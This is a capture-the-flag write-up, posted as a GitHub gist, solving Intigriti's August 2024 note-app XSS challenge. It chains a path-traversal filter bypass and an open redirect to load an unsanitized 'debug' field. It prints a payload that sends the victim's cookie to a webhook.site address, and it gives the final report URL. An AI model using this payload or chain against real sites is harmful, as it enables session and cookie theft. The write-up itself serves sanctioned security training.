Skip to content

Instantly share code, notes, and snippets.

@memosec

memosec/0824.md Secret

Last active August 12, 2024 09:42
Show Gist options
  • Save memosec/f77f0bf798e0fcd2c3802de4a1b99275 to your computer and use it in GitHub Desktop.
Save memosec/f77f0bf798e0fcd2c3802de4a1b99275 to your computer and use it in GitHub Desktop.
Intigriti's August 2024 Web Challenge

Intigriti August Challenge

Challenge: https://challenge-0824.intigriti.io
Flag: INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}

The Challenge

The project is a note taking app where it is possible to create, view and report notes after logging in. There is also a contact page. We have the source for this challenge and there we can see that there is a bot which saves the flag in the cookie and visits the reported url. This tells me that it's a XSS challenge.

The content of the note created is sanitized by DOMPurify. But looking further in the function fetchNoteById there is a check for data.debug, if it's true the content of it is rendered without sanitization as html. No endpoint in the backend returns the content of debug so how can we set it to true?

Firstly the format of the URL for reporting must be like this: http://challenge-0824.intigriti.io/view?note=12345678-abcd-1234-5678-abc123def456.
There is an open redirect in the /contact endpoint in the backend:

@main.route('/contact', methods=['GET', 'POST'])
def contact():
    form = ContactForm()
    return_url = request.args.get('return')
    if request.method == 'POST':
        if form.validate_on_submit():
            flash('Thank you for your message!', 'success')
            if return_url and is_safe_url(return_url):
                return redirect(return_url)
            return redirect(url_for('main.home'))
    if return_url and is_safe_url(return_url):
        return redirect(return_url)
    return render_template('contact.html', form=form, return_url=return_url)

It's possible to call that endpoint because of the below piece of code in fetchNoteById which contains a path traversal vulnerability:

 if (noteId.includes("../")) {
            showFlashMessage("Input not allowed!", "danger");
            return;
        }
        fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
            method: "GET",
            headers: {
                "X-CSRFToken": csrf_token,
            },
        })

The path traversal check can be bypassed with ..\. So by utilizing the open redirect in the /contact endpoint we can make a request to our own server that will return the following JSON payload:
{"debug":"<img src=x onerror=fetch(\"https://webhook.site/21c67e5e-46e8-4879-b041-e8fdb30c020a?c=\"+document.cookie)>"}.

The value of debug is rendered without sanitization and then a request is made with the cookie that contains the flag to our server. Lastly don't forget to set the HTTP Response Headers Access-Control-Allow-Origin: * and Access-Control-Allow-Headers: x-csrftoken
The final valid URL for reporting becomes this:
https://challenge-0824.intigriti.io/view?note=..\..\..\contact?return=https://ycvm4yz3.requestrepo.com/12345678-abcd-1234-5678-abc123def456.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment